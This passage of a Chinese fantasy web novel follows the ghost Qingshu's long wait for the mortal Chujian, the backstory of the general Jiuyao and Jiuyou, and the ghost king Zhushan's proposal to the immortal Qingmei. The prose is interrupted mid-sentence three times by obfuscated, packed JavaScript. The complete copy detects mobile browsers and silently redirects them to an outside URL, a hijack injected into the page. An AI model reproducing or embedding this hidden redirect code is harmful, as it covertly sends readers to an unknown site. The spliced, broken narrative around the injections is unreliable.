初见哈哈一笑,“我们不去惹他们,他们便不会来找我们。你不要怕,我们现在捆在一起,我让自己挨饿,也不会让你再挨饿。我会待你亲人一般。” “亲人?”青束的手顿了顿,夫妻也是亲人吗?好像在一起就是亲人了。 “青束以前的日子也不好过吧。”他边整理着药草,边对青束说。 这又是头一回有人这样对青束说,不过不是问,不需要他再思考。初见说的不好过是何种?是肚子饿还是被人打? 于是他只好说,“我没有睡觉的地方。” “那你现在有睡觉的地方了。”他温柔笑笑。 青束望着他有些呆,这是他流浪几百年,看到的人间最温柔的笑,他的笑比夏天的鱼儿的亲吻还温柔,他没有任何鬼界厉鬼们千万的皮伪装,也没有其他凡人的虚假与牵强,他的笑就是笑,是青束看见一个人对另一个人笑,却是从来不会对自己的笑。 你可以再对我笑笑吗?说出口前,青束把自己的话给咽下去了,他知道夫妻之间应该互相理解,万一他不想再笑呢? 他们之后一直相安无事,除了每日都要上山采草药遇到各种苦难,之后也都没了什么大惊小怪。他们勉勉强强的过着日子,还要到街市上买草药遇到各种刁难,可是毫不厌倦,每一天都过得很新鲜。 这个新鲜当然是青束学会了打人,不过就是个小孩子闹闹而已,向来吃亏的是自己,因为他不知道打了他们是不是犯了人间的戒规,害怕有人会把他抓回去关着。只是这些小孩太讨厌了,他们总要向初见扔石头说初见的不好,初见是和他在一起的人,自然不能让他受委屈。 一年,两年,三年。 “青束还是没有长高啊……我都长高一点了,看来青束还是要多吃点。”他摸了摸青束的脑袋,很是苦恼的说。 青束微微抬头望了望 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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青束想要抓住他的手,再说几句安慰的话,却是什么也没做,彻夜的在他身边,他知道这叫陪伴。 十年。 今天七月半鬼节,阴气很重,青束看着经过庙前的鬼魂,把门关上。 “青束……”这一声喊的极其微弱,要不是四周安静,青束便是听不到了。 “我在。”青束跑到他身边坐下,这两个字青束每次找不到初见的时候,初见都会这样说。 他握住青束的手,冰冷的可怕,“对不住……阿束还是要一个人。”他依旧在笑。 青束微微一怔,“我,我还是要一个人?”男人死了媳妇可以另外找个女子,女子没了相公也可以,但他们也可以不找,但会守着他们的坟,初见的意思是要让他等到自己死后为他守坟不去找别人吗? “阿束要乖乖长大,要长高……才不会在一个人的时候被欺负了……”原来他都知道,青束一个人出去的时候,也会经常被嘲笑,不仅是因为他矮,而且他看着也好欺负,他们便拉帮结派的来找青束的麻烦。 “幸好我家阿束脾气好,不然他们都要哭着回去找爹妈告状,不过那样,事情好像会闹得更大,我的阿束怎么从不找我告状啊……咳。”他憋着一口气说完一整句,青束把手放在他的胸口给他顺气。 “可不可以,可不可以不这样?”青束的声音有些委屈,有些沙哑,他知道要挽回一个人的时候就该这样,博得同情,博得可怜。 “就像当初,阿束说可不可以和我一起一样……”他闭上眼,“一样让人心疼。阿束的眼睛好干净,青束就那样用他那双眼睛望着我。青束青束,初见初见……”他嘴角上扬,嘴里喃喃,“生辰才没过多久,要好生笑笑,不高兴了我就舍不得了……” 他也想要握紧青束的手,可只是微小到让青束也无法察觉。 “阿束……”他渐渐没了声。 青束微微吐气,闭上眼,再睁开,“我在。”这句过后,没了回应,破庙里只剩青束一个的喘气声,没了初见,突然安静的可怕,安静到青束不习惯。 这叫生离死别吗?可他是鬼啊,怎么离,怎么别?人有挂念就会成为孤魂野鬼,那他刚才是不是应该不高兴,让初见挂念他?不行,若是初见不想成为鬼怎么办?他应该要去度好轮回才对。 他看着初见睡得安详的脸,这大抵是他睡得最舒适的一次,甚至不愿醒来。青束的胸口闷的不行,比饿肚子想要吃人却又不想的时候还要难受,难受到上气接不了下气。 十年对他来说不过弹指一挥间,他更是十年都未曾提起那句“你可以再对我那样笑笑吗”。便是初见病重之际,他也知道不能为难初见。 他跪拜风水神,他背起僵硬的初见出了破庙,又到了破庙不远处的一棵树下。 初见每年给他过生辰,过了十年,却谁也不知道青束到底是多少岁生辰,便这样稀里糊涂的过着。 青束把初见放下靠在树上,他开始用手挖土。 他常在人间看到,人死后要入土为安。他一个人孤零零的挖着,初见在旁边像是陪着他一样,只是不言不语,中元节下了这个荒废小镇十几年来最酣畅淋漓的雨,青束急忙把外套脱下搭在初见身上。这场迟到的雨,让初见受冷,让青束挖土挖的极其顺利,这雨恐怕憋了十年等待这一天,青束浑身打湿,初见浑身也被打湿,他漫无目的的一直往下挖,等他挖地三尺,他无神的看着这块地,看看自己的手,傻愣了好一会儿,才把初见抱进去。 他们做鬼的,哪有凡人如此多的情感,但他们爱便爱,恨便恨,悲伤就是悲伤,他们情感单一,并不会想凡人这样如此多娇。 就如同现在的青束,他很是悲伤,可悲伤就是悲伤,悲伤过后便是不舍,不舍便是不舍,他这几百年不是顺风顺水,也不是几经波折,更多的是麻痹,如果凡人的多娇让他感受几百年的炎凉,他现在可能就跪在这里哭天喊地,可是凡人给了他太多麻痹。初见十年怎么给的清。 但他确实很难过,只是,不知道是怎样的难过。 “你说过我可以和你一起。”他举起左手打量,伸出小指,将它折断。 皮肉分离,青束吸一口凉气,没过多久,小指就又再生起来,完好无损。 青束将小指放在初见手心让他握紧,“你要是渡了轮回,就带着它来找我,好不好?初见。”青束将土掩上,“我去等你,等着了我们就一起回家好不好?然后我们就可以继续在一起了,我也不找别人。”青束笑着说。 “到时候,我去接你。”青束起身,这是他几百年第一次回到鬼界。 他回到鬼界,在他看来,他只是换了个地方流浪。他也不作乱,喜欢吃菜包子,从不犯鬼界规矩开荤。 他流浪的地方有了限制,回到了他当初醒来的地方,始终在游人畔附近,他整天死死盯着来来往往的鬼魂,无论是出去的还是进来的,只是时不时有鬼会闻到他身上的烟火味儿,来找他茬,把他抓去做苦力,他反抗不得,但始终会回来。 他等了三个轮回,没有等到初见。 他开始焦虑,开始在人间寻找,他想要回到破庙,破庙塌了,早就成了荒地无人管理,他想去那棵树下,树也没了,什么痕迹都已经被时间磨平,什么也没有给他留下。 他想要在人间重新找到他,又是几百年的流浪,八佰找到了他。 “我在天上可是关注你很久了,你不做乱,不惹事,倒像是在等谁?”八佰笑道。“我知道你有要找的人,但你身为厉鬼,要在人间和鬼界找,何不成神?我可以帮助你,神域有关于三界所有世事的了事阁,你必定可以查到你想找的人。” 青束望着他,眼里早就被无尽的等待磨得没了生气。 5. 神域九幽数百年 青君带着一壶美酒,被青雏推着去寻找帝君。 “你也一道去听听青袂的事吧,也好多一人了解他。”青君对青雏道。 “是,师父。” 他们到的时候,便是了事阁的三千也在。 “你来了。”青君一来,帝君终于可以嫌弃的把手边那盏茶给推开了。 “我的乖徒儿终于被你扔下去了。”青君哼哼两声。 “你以为我想?他下去对我有什么好处?我连酒都没得喝!你这又是哪得来的?”帝君自青君一进来便直直的看着他手里的酒。 “我乖徒儿那里偷来的。”青君把酒给青雏,青雏替他恭恭敬敬的给帝君和三千斟上。 “你还需要偷?”你难道不是光明正大的拿?帝君闻了一闻,这比茶水还沁人心脾的酒真是让人恣意几分。 “你以为我也是常喝啊?”青君没好气的说,“药神说我腿想恢复,就得多喝琅郎的茶。” “为此他还专门垮脸去找琅郎要。”帝君忍不住笑,不知道在笑青君这当师父,还是笑青袂这当徒弟的,“药神不给你治,反倒是让你多喝茶,你真当不知道他是和你过不去还是和青袂过不去?” “吃力不讨好。”青君翻白眼。 “青袂上仙酿酒可真是一绝。”三千若无其事道。 “你当初要不是被灌醉,青袂会知道?”青君责怪道,“我用一双腿换来的那么大一个徒儿说没就没,亏得他还没上天我就先给他忽悠了一道,全被你毁了!” “青君此言差矣!”三千故作惶恐道,“这酿酒官想让我醉,我岂能还醒着?还不是您教的好。” “我教的好?”青君像是听到了什么天大的笑话,这笑话程度好比有人告发说他去偷琅郎的茶喝,“帝君的将军教的好。” 正在品尝美酒的帝君差点一呛,这酒呛着了可不得了,他劫后余生的拍拍胸脯,青雏再为他斟一杯,他感激的看着青雏,青雏有些尴尬的退回青君身旁。 “他想明白了才走的,至少不是靠一时的冲动,我现在想起青袂那生硬的理由,硬给自己留下破绽的语气,就知道这小鬼王有本事的,和当初九摇如出一辙。” 好了,这回该青雏一呛了。他这一呛可不得了,眼睛都咳红了,连忙摆手抱歉转身捂嘴偷着咳嗽,三千理解的看着他。 “青雏啊,你知道你师兄为什么这几百年都见不惯你吗?”青君同情的看着他。 “——为,为什么?”青雏帮自己顺口气,迷茫的看着青君。 “你怎么上来的可还记得?” 他怎么上来的自然是不敢忘。神域隔一段时间便会在人间挑选人间生前没有任何节支却命浅的凡人,阻止他们去鬼界渡河投胎,提前把他们提拔上来做个打杂的小仙官。 “我是被村里人烧死的,有节支的是我爹娘。” 青君点头,“那你可知我为什么要选你当我二徒弟?” “不,不知……师父指点。” “这你就不懂了吧。”青君狡黠的笑了笑,“你莫非是忘记了,你刚来时青袂便看了你第一眼。” 不提醒还好,这一提醒,青雏又想起青袂那看似友好却又暗藏杀机的眼神,导致他后来在天上了还连连做梦自己在凡间被烧死的事情,最后还成了这眼神主人的师弟。 三千和帝君也是同情的看着青雏,知道他回想起来了,青君满意的笑了笑,“你师兄的老情人也从未作恶,可他没有你的运气福分,没能被提拔上来,你遭遇相似,惹了他红眼,是我想把你留在身边给他些刺激,不怪他。” “?”他现在的表情就跟今日给青袂送请帖的那位小仙童一样,只不过他好像是真的娘胎里带来的缺点惹着了青袂。 “我的将军在鬼界混得好,没事就做做样子攻打神域,再跑去逗逗青袂,真是惬意呢。”帝君露出了对以后更加向往的神情,“只可惜还得装装样子不合。” “还不是你个肚子里没好水的东西。” “?我肚子里装的可都是你徒儿的酒水!” “……” “只可惜我觉得以后我喝酒要难了……九摇当初为保鬼王儿子山暝性命,我不同意,便硬是让他抚养山暝,长大后亲手杀了血亲。” 青君一顿,放下酒杯,“鱼渊认出他,把金锁还给山暝,不然山暝也不会信,恐怕连自己是鬼这事儿都不能信。你这招太损了。” “仇池作恶多端,当初害风水师神魂俱灭,风水死的凄惨,此仇不得不报,便是他死,也死不足惜——能留山暝一命,已经是我最大的宽容。” 风水师乃是帝君亲兄。 “可那时山暝两岁,你也要他性命,九摇这武将都懂,你不懂?” “风水是我最后一位兄长,岂能白死!”帝君紧皱眉头,他身为帝君,本就早已无依无靠,风水师是他最后活着的兄弟,也是血亲,要是死,死后也能去人间投个好胎,可神魂俱灭便是不得轮回。 仇池杀死风水师后,他便下令让九摇带领天兵天将前去讨伐仇池,不用带回,直接处死,同样的挫骨扬灰,因为他还有一个刚出生不久的儿子山暝够他折磨。 他便也是明白,这父母犯错岂能牵连子孙?可他非是听信了人间的父债子偿,便是要让那山暝死了,下辈子投个好胎也作罢。 谁曾想到他的将军九摇却没能痛下杀手。 九摇找到山暝的时候,他还在奶妈的怀里,那奶妈已经是死了,一半的身体都已经没了,他也看到了山暝满嘴的鲜血。 他身穿黄金甲,居高临下的看着尚有一息可存的山暝。 “把他抱过来。”九摇对自己的将士道。 “是,将军。”将士过去,那奶妈死后还把山暝紧紧护住,将士硬是废了些力气才把山暝抱出来。 大将军从未抱过这样的小孩,有些笨拙的不知如何抱,怀里的山暝感受到了外界的变化,哇哇的哭了起来,大将军还未如此手足无措过。 山暝就这样被他一路抱着哭着回了神域,被带到帝君面前。 “此子有罪,不得不除!”帝君坐在高处,被山暝吵的烦了,侧过头表示自己的不满。 大将军还在座下笨拙的抱着山暝,“帝君,仇池已除,可他的儿子还小,况且也是无罪的,能否让他留置凡间,给了寻常人家,留他一命。” “有其父必有其子!山暝得死,他不死,我兄长的死算得了什么?” 九摇抱着山暝跪下,不发一言。 他抱着山暝偷偷给他运气,怕这么小的孩子硬生生被自己给哭死了,后来山暝哭累了睡了过去,九摇依旧跪着。 兄弟惨死的帝君终归还是想出了毒招,饶了山暝一命。他想到仇池也有兄弟,鱼渊日后必定会为了仇池来报仇,他便是无论如何在人间和鬼界都找不到自己兄长的儿子,做梦也想不到山暝会在自己手中吧。 于是帝君将山暝交给了九摇让他抚养,以后必成大器。 能为这孩子求得一线生机,已是极好,九摇也把山暝带了回去当徒弟,于是山暝成了九幽。 毕竟还是鬼王的儿子,九幽天资聪颖,教什么会什么。 大将军没带过孩子,只知道该吃吃该喝喝,该练功时就练功,玩儿的时间也给足。 等到九幽长大时,一身皆无那鬼界所带来的煞气,更是成了那玉树临风的公子,神域里的仙子都要多看上几眼,可他只听九摇的话,说个夸张的便是,九摇要他死他也愿意。 九摇发现自己对九幽感情也有变化的时候是在九幽同一位仙子密会亲密之时,他也不知道自己是何种的心情,只是把九幽叫了回来,以不好练功不加进学习为由,把他关了一个月,硬生生断了与那仙子的交往。 “师尊,你是将军,我说你的徒儿,你出征时,我是不是也要跟着?”九幽问他。 九摇放下手里的书,看着九幽的眼睛,一声师徒便让他知道了九幽的用意。 那时大战告急,鱼渊欲带兵出征攻打神域为兄复仇,几百年的太平将要被打破。九摇突然不想教九幽了,不想教他在习武,便是不想让他出征面对自己的亲叔叔执剑杀他。 九幽见他迟迟不回,又道,“小九?” 这不成体统的叫法,九摇早就纠正过他了,九幽却是总喜欢胡玩,九摇不理他时,他就乱叫,还说,若是真的不高兴了,就当是在叫自己吧。 “——你若想跟着,便随我一起。” “我当然要跟着将军。”九幽毫不犹豫道。 都说鬼界生灵天生自带一对金锁,他把九幽带回来的时候,什么也没有,也没找到那对金锁,九幽硬是连自己是厉鬼都不知,他最近心慌的厉害,总感觉有什么不好的事发生。 果然,他心慌的没错。鱼渊攻上来的时候,他因为九幽的事而分了心,眼见着鱼渊手起刀落,九幽冲上来挡在了他面前。 带着九幽金锁寻找九幽百年的鱼渊认出了九幽,满心满眼的不可思议。在这之前,九摇就已经告诉过他,日后面对鱼渊,不必心慈手软,挫骨扬灰便可。 于是在九幽将鱼渊挫骨扬灰之际,鱼渊死前都双眼未瞑,告诉九幽他是仇池之子,金锁认主,回到九幽身边。 九幽半信半疑之际看向九摇。 他一身黄金甲站在自己身后,眼里尽是难言之色。 金锁不骗鬼,他是鬼界生灵都有的一对,九摇也不会骗他,九摇的眼睛更不会。 虽说手刃血亲,但九幽最后也没忍下心对九摇刺上一剑。感谢他百年养育教导之恩,金锁落地,在他坠下神域之际也没带走,便是不想认了这事实。 九幽掉入鬼界红莲池,这池子是当初神鬼两战流的血所汇集的池子,极阴,极煞。 神明坠落,脱仙身,洗白骨。九幽到现在还不知道自己真的叫什么,就被池子洗了个干净,那真就是痛极了。 好在他本来就是鬼,还是鬼王的儿子,池子认得鱼渊,便也认得他,池子底那些萋萋白骨只敢把他往下拽,但也不肯松手,但九摇是真正的神明,他随着九幽跳进池子,把他拽了回来,损了自己的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他好歹也曾是神域大将军,扔了那惨败的仙身成为厉鬼,那时的鬼界因为仇池与鱼渊的例子,硬是没人敢称王,于是这位曾经的神域大将军,凭借自己本事坐地而起,成了新一任鬼王。 震惊整个神域,更是把三千给雷到了,连簿子上写都不敢写。 帝君把他偷召回神域的时候,他已经能把腰板打直了的面对他,成了鬼王就是不一样,整个人都没了神域天规的束缚,说话也能站着说了。 他给帝君说了提议,毕竟大将军到底是自己人,他们开始明面上不合,私下却是暗度陈仓,看似水深火热,却依旧保持当初君臣之义,除了说话可以站直了,其他的都没变。 但是拥有一个好对手还终究是抵不过自己的猪队友,他的猪队友八佰实在是看不下去青束一直待在游人畔,干脆把他召回了天上,又是成为了神仙让他等九摇回来,被青君趁机而入,一句有缘嘴一张就是个一见如故,把青束改成青袂给拐了。 八佰把青束带回去的时候,消息不灵通,不知道这当初风光的大将军成了鬼王,一直给已经改名为诛衫的将军说道都是时辰的错,并且赞扬他的名字取得确实很鬼,一听就不是人,两人冷了三百年,就因为诛衫知道九幽成了青君徒弟,开始了更加水深火热的旧友情谊。 青袂依旧记得自己身为厉鬼时的人间世,一直牵挂着自己的初见,去了事阁找三千并势必要打好关系。 看透一切的三千任劳任怨,让青袂帮自己抄了近三百年的人间事,他就知道了初见修成了鬼王成为了诛衫,便开始了自己漫长的思索与等待。 待他终于思索出了眉目,小鬼无弃出现了,他是在青袂帮药神守庙时被缠上了,无奈带了回来偷偷养着,养鬼本是神域大戒,知道自己都干了什么的帝君睁一只闭一只眼。 然后又在帮山神守山的时候又遇见了经常打架的小妖怪,青袂更甚,带着一壶美酒,去祸害三千了。 三千认命被这曾经的师徒二人给盯上了,但实在是没想过这青袂上仙除了会酿酒还是有“手段”的,其实只要再帮他抄三百年人间事,他就会告诉青袂,根本没想到青袂会把自己灌醉,能吐的不能吐的都吐出来了。 青袂知道了,便又是几百年的思索,终于下定决心,初见成了鬼王又如何,成了鬼王依旧是自己的初见,依旧是自己的将军。想了法子,烧了酒宴,被打下凡。 可怜帝君,酒宴被毁两次,一个是被当初自己的大将军,一个是被曾经仇人的儿子,让他做贼般的心虚却是有苦说不出。 等到青袂又要去把三千灌醉让他办点事儿时,三千终于认输,青袂想要做什么,他都认,帮他抄三百年人间事即可,酿酒官那烈酒宿醉后的痛,他不想再尝了。 青袂下凡成为温久,诛衫果然还是来了,他化作凡人阿束伴他左右,可终归还是青袂福浅,带着自己的神仙体质与鬼界厉鬼身份相冲硬生成为凡人,没能有个好命数,活到十八便死了。 诛衫也没拦着他,这就当是抵了吧,当初青束看着初见死,如今便让阿束看着温久死吧。 6. 囍 “当初将军的笑得有多温柔,让师兄辗转不回头,只为再看一次。”青雏当初是为凡人,很是能理解凡人的感情,他便是只能抓住这不起眼的一事,但就是这不起眼的一件事才是真正的身为厉鬼青束想要的。 “那时候将军只是凡人,酿酒官也不过是厉鬼罢了。”三千淡淡道,“若不是厉鬼,也是凡人,或许他想要的便不是这个了。”虽然不想承认,但他曾经依旧好心的为凡人初见与厉鬼青束赐了一场雨。 “换做是我,若是心心念念的人找到了,我不管怎样我都要见他。可青袂就不一样了,他可以等,他等得起也沉得住气,他可以不管你怎样,不管你作恶还是行善,他就可以看着你守着你,说白了,除非你要死了,不然这辈子青袂都可以等。你说,这样的人,这样的鬼,这样的神,谁承受得起。到了最后,他甚至还可以再等一次。”青君道,“所以得有你这个典型没事儿在他面前瞎晃悠,也让他没事儿就想着初见就是那鬼王。” 青雏:“……” “不然诛衫一直在下面望着青袂,青袂一直在天上看着诛衫,两眼相望天地间,神鬼一生得多长没个定数,谁也不知道谁的心思,谁也不敢迈出一步,那遗憾的便是青袂一手的回梦佳酒和诛衫的痴情苦。”青君现在大有一种把酒当茶喝,竟然想去吹一吹那不存在的茶叶,“局外当是看的明白,局内却是诉不清的老生常谈。” 青袂在知道初见是鬼王时,想的是他是神,怎的找理由下凡去寻他一个鬼王,并让这位鬼王想起那凡间短短十年相守。而在想起诛衫是九摇,自己是被利用手刃血亲的小鬼王九幽时,想的是他怎能让九摇跨过这鸿沟,让他知道自己明白他的身不由己,旧情尚在,辗转思量百年,最终还是选择烧了那坏水的帝君酒宴,解的一时之气,再去下凡寻九摇。 大不了,九摇就成为诛衫,昔日小鬼王就只是青袂。无冤无仇的诛衫和青袂便是可以在一起的,谁会去纠结那一神一鬼。 “十年泛泛之交,在鬼的一生中不算什么,只是因为青袂一开始一心想等到初见的轮回转世,等了三世轮回,最终无果,可他一日比一日执念越重,青袂无所事事,等他成了唯一,一次又一次落空,执念却越深。”帝君道。 “鬼的执念就是执念,人的执念便是执迷不悟。”三千看着空了的杯底,郁闷道。 可恰恰青袂的等待不同,他所有的命数运气仿佛都停止了,他不找别人,别人也不找他。他变得沉默寡言,郁郁寡欢,日子过得越是无趣他就越是要等,他开始不习惯交谈,不习惯去思考。他初到神域时表现得尤为明显,不说话,自己坐在那里等待,就好像什么也不能再阻止他等下去。时间久了,青君尽力让他走出来,他便开始想着,自己该行动了。 一个愿等,一个愿熬,当是最长情。 一个不责怪,一个等原谅,当是痴情。 酿酒殿。 净池里一片安静,花苑里的花儿最近都因为青雏的照料过了好一段的好日子,个个娇艳艳,终于没再喝水喝到吐了。 “上仙怎么还没回来啊?” “小仙浇的水刚刚好,我都不习惯了。” “那只小鬼不弃去哪里了?” “上仙去了人间那只小不弃就不见啦!” “是无弃啦!” 青雏帮青袂打点好花苑里的一切。他的师兄宁愿十年百年都在和这些花儿对话,却始终不愿找个人陪着。 这百花虽是好,可看数百年如一日的看着终归还是要厌烦,他只是料理几日,心平时听着这些花儿交谈也是一番乐趣,可若烦心之时,便是一番吵闹让人更加的心浮气躁。 他偷偷去青袂房间看他,房内还是一如既往的苦,他本想试着将那香换了,可青君却说万万不可换,青袂用惯了苦香,即使是入了凡间,恐怕也会对他造成伤害。 但只是换香罢了,会有何种伤害? 但他终归还是听青君的没有擅自给青袂换了。 九幽醒来时是在十八天之后,为此这位酿酒官又有了一个能让其他神仙笑话的事儿了。 那日九幽依旧是躺在床上,毫无醒来的征兆,青雏依旧是在花苑子里看护,也完全没想到青袂会在这时醒来。 原本还好好躺着的九幽,只是猛然一起身,像是只是睡了一夜的人做了个噩梦起身。他侧过头,手里紧捏着多出来的一块布,嘴里辛辣,吐出淤血。他可是许久都没见过血了,这一看,是从自己嘴里吐出来的,竟然是有些新奇。 可新奇过后又是恶心,又接连吐了许多,这是大喜大悲后的症状,只是眼睛总止不住要去看自己的血。 他这样渡劫的怎么可以把凡间的东西带回来,这样损伤的事儿他也是废了一些心力。 他又忆起自己儿时在奶妈的怀里被饿着哭了,那奶妈没了奶水,也知自己命不可救,硬将将把自己的骨血碾成肉酱喂自己,让自己能多活几分是几分。他自然是感谢奶妈的无私,可尽管他天生为鬼,那肉酱滋味也不是好受的。 青雏听到了动静,推门而入便是入眼的一地红,心里大恐,却又不知道自己能做什么。 反而是这一吐血,像是吐出了他多年的心结与那无望的等待,心里是舒畅多了,他竟然还能有这般舒畅的时候。 九幽淡看他一眼,青君是说的没错,他是挺不喜欢青雏在自己面前晃悠,他把嘴角的血迹擦了擦,青衫的袖口被这一点红,让他有了些从前的模样:“你知道吗,你当初告诉我的时候,我就开始想,凭什么初见没有你这么幸运。” 青雏听九幽这像是在说别人的语气,这云里雾里的一句话,他竟然是听懂了,“师,师兄,我去给你倒碗水来。” 他本就是这样斤斤计较的一个人,有自己的偏心。 他也不管青雏,自顾自起身来,跌跌撞撞去到酒房里,把香炉里的香换走,大手一挥,这间房里那苦涩的味道荡然无存,便将手里的这块布燃烬。 九幽看着它燃烧,房间内那苦涩的气味重新回来,他嘴角若有若无的笑起来,血从嘴边流出来,他心有所念。 终究,放得下的是青袂,忘不了的是九幽。 鬼界。 “大王怎么又看他自己的画?” “大王怎么还笑了……怪渗人的。” “大王去了一趟人间怎么变成这样了?” “请、请鬼医来不?” 诛衫看着手里的画像,是酿酒仙官的画像。 他案前也有许多这样的画,手边还有未干的墨迹和上面全是齿印的拨浪鼓。这幅画并没有什么特别的,他有许多幅这样的画,一笔一画皆为他一人所笔。可唯独这幅不同,他抚摸右下角的字迹: 称名忆旧容。 若是知道他字迹的人,肯定都以为这字是他自己写的。 他一知道青袂故意纵火烧了酒宴下凡,就也跟着他一起,然后寻到他陪他这次长大。他总觉得青袂是记得到,却又偏偏像不记得。 他想法子让青袂知道以前的事去提醒他,他却只是奇怪罢了,只字未责怪。 ——我一点也不嫌弃你,一点也不。 他生怕青袂闻到他上辈子从天上带下来的杀伐味儿。 他又是痴痴的笑了,可把那些小鬼们给吓着了。 “大、大王终于失心疯了?” “大王终于,终于被那位上仙甩了?” “那位上、上仙要嫁了?” 小鬼们窃窃私语,诛衫只是看着自己的画像,唯独听进去了那个“嫁”字。 嫁?嫁谁?青袂要嫁给他了? 五秒钟后他拍案而起,做个了重大的决定,那群小鬼被他这突然一吓,一面担心自己大王又“离家出走”他们群龙无首,一面又担心大王暗恋的那位上仙真的嫁了。 “你们即刻准备聘礼,个个都穿的喜庆点,我们去天上提亲,然后再留几波看家置办洞房!” 小鬼们:“?” 曾经的大将军现在的鬼王,让自己的小的们好好准备,要立马风风光光的上天去,这次不去比武——不,不去打仗,去提亲。 青雏去告诉青君自己师兄醒了,青君那激动的模样青雏真是害怕他下一秒就要自己站起来。 “你的师兄好样的,十八天了才回来。” “?” “他竟然能活到十八天,怎么没人在他出生时候把他掐死?” “……” 青雏推着青君去找青袂,路上也给他说了青袂吐血一事。 “大喜大悲罢了,他硬是撑到了现在才吐出来。” “那对师兄会不会——” “当初九幽到最后也不愿伤他九摇一毫,何况是到了现在。你当了青袂这么多年师弟了还不知道?你见你师兄喜欢过谁,讨厌过什么东西?” “青雏无知。”青雏惭愧道。 “他把自己最喜欢的给藏起来护着了,讨厌一切九摇没有得到的——便也是包括了他自己。”青君把手搭在膝盖上,“不然也不会让自己痴等。” 青袂只是放的太开了,但就是自己想不明白罢了,但最后想明白了,又放不开了。 他任自己在无望里等待,便是将自己放逐了。 “那师兄为何突然想明白了?” “他那何止是突然,向来酒宴请帖不是送你那里就是我这里,谁吃饱了撑着了去找他?师传身教罢了。” “?师父你……” “不是我教的!”青君没好气的否认道,“反正青袂回来了依旧是我的乖徒儿,还能被拐了去不成?不就下去一趟,魂儿还能勾了去?” 还未被拐了去的九幽蹲在这百花前,难得的亲近模样,指尖一会儿戳这朵花一会儿戳那朵花。 “……上仙真的痴傻了?”工莓悄声对身旁的绿荧说。 “上仙嘴角的血还没擦干净……”绿荧也有些担忧的看着九幽。 “今天上仙身上更苦了,我感觉我都要哭了。” “你眼睛都没有你哭什么?” “……” 九幽看着他们这般的躁动,极其细心的去拿浇水壶打算给他们浇水,那些花儿一阵惶恐。 “上仙去拿水了!” “我刚刚喝饱!” “!” 九幽以为吐过血后会好些,可依旧心悸疼痛,他扶在桌前仔细回想。 他突然有些难受的喘不上气来。 失散多年的情感纷涌而来。 记忆如蝶逆光寻踪。 帝君殿内,天兵来报:鬼界攻来,此次声势浩大,势不可挡,可阴兵们个个身穿红衣,神域下界犹如血海翻涌。 帝君脸一绿,“真是反了他了!” 三千掩面一笑,“真不愧是神域的骁勇大将军呢。” “青袂!” 九幽听见青君的声音,强撑起身体,把嘴角的血迹擦干净了,回过头来对青君笑了笑,“师父。” “我的傻徒儿啊,来,到师父这儿来。”青袂蹲在他面前,青君伸出手心疼的擦了擦他脸上的血迹,“此次下凡,可有寻得什么?” 九幽眼眸低垂略思索,“徒儿无能,下凡时拜了自己的画像,结果就死了。” 青君没好气的轻轻打了他一下,“没有其他的了?” 九幽轻声道,“我知道师父要说什么,徒儿寻得——” “师父!刚才帝君传话给小仙童,说鬼界打上来了,让您把师兄藏好!” 青雏在外喊道,九幽没忍住一笑,继续道,“寻得一良人。” “你该不会真的要和那人走吧?”青君担忧道。 九幽笑而不语。 诛衫带来的小鬼们在神域大门整齐的散开,一时间吹拉弹唱齐聚, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16990883|193699||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鼓乐齐奏声势喧天,此情此景如鬼界红莲池翻涌之状,骇人的白骨成了长琴转轴,妖冶红莲在锣鼓上以不逊之姿绽放。 带队的小鬼站在搬来的木桩上,扯着大嗓门:“今,鬼界鬼王诛衫前来向神域上仙青袂提亲!本王已与青袂上仙分离数千年之久!此次前来只为青袂!我愿与青袂永结同心,生死相随,行夫妻之仪,永不分离!” 说话的小鬼喘了口气,又吼道:“帝君若是不同意,休怪本王今日攻占神域,抢回青袂!青君若是不同意,本王便浇死你苑里所有的花!让你永远酿不成酒!” “好恶毒……”三千讪讪道,“帝君,三千想起在了事阁里还有许多事未做,先行一步!” “三千上仙若是有敢阻拦,本王必定烧了你的了事阁!” 三千:“……” 青雏推着青君守在酿酒殿门外。 “师父,我们不去陪着师兄吗?” 青君神色黯然,不忍沉重的长叹一气,“我看见青袂的样子,恍若已长辞数千年。九幽会笑,你的师兄不会。” 青雏有些不理解,“……师父何意?” “不仅是我,所有人都错估他了。他当过鬼,当过神,也成为过人,谁敢确定,他现在是谁?” “师父的意思是,师兄他……已经不再只是为了他当初的将军了吗?” “红莲池血洗仙骨,游人畔一入轮回一世五百年,他辗转思量上千年都未曾有结果。他不是在想为了谁,他一直在犹豫自己该成为谁,他也不在意自己的良人会成为谁,他想知道的只有自己。” “那师父所说的九幽……” “九幽已死,可他和青袂本该是同一个人。我之前一直站在青袂的角度想,却忘了他是青袂,他也是九幽。” “那师兄,他此次是为了将军?” 青君神情严肃道,“他恐怕,是为了见九摇最后一面。” “可师兄醒来时,说一句初见的名字。” “他回不去了。” 酒房里。 “啊……”九幽握紧打碎在地上的瓷碗,花苑里的花听见声响窃窃私语。 “上仙怎么了?” “上仙身上的血腥好重。” “上仙这是要去哪里……” 花苑里的花徒劳的看着九幽离去,花海里个个不安的扭动腰枝。 净池里的水纹波动。 “是无弃!”工莓惊喜道。 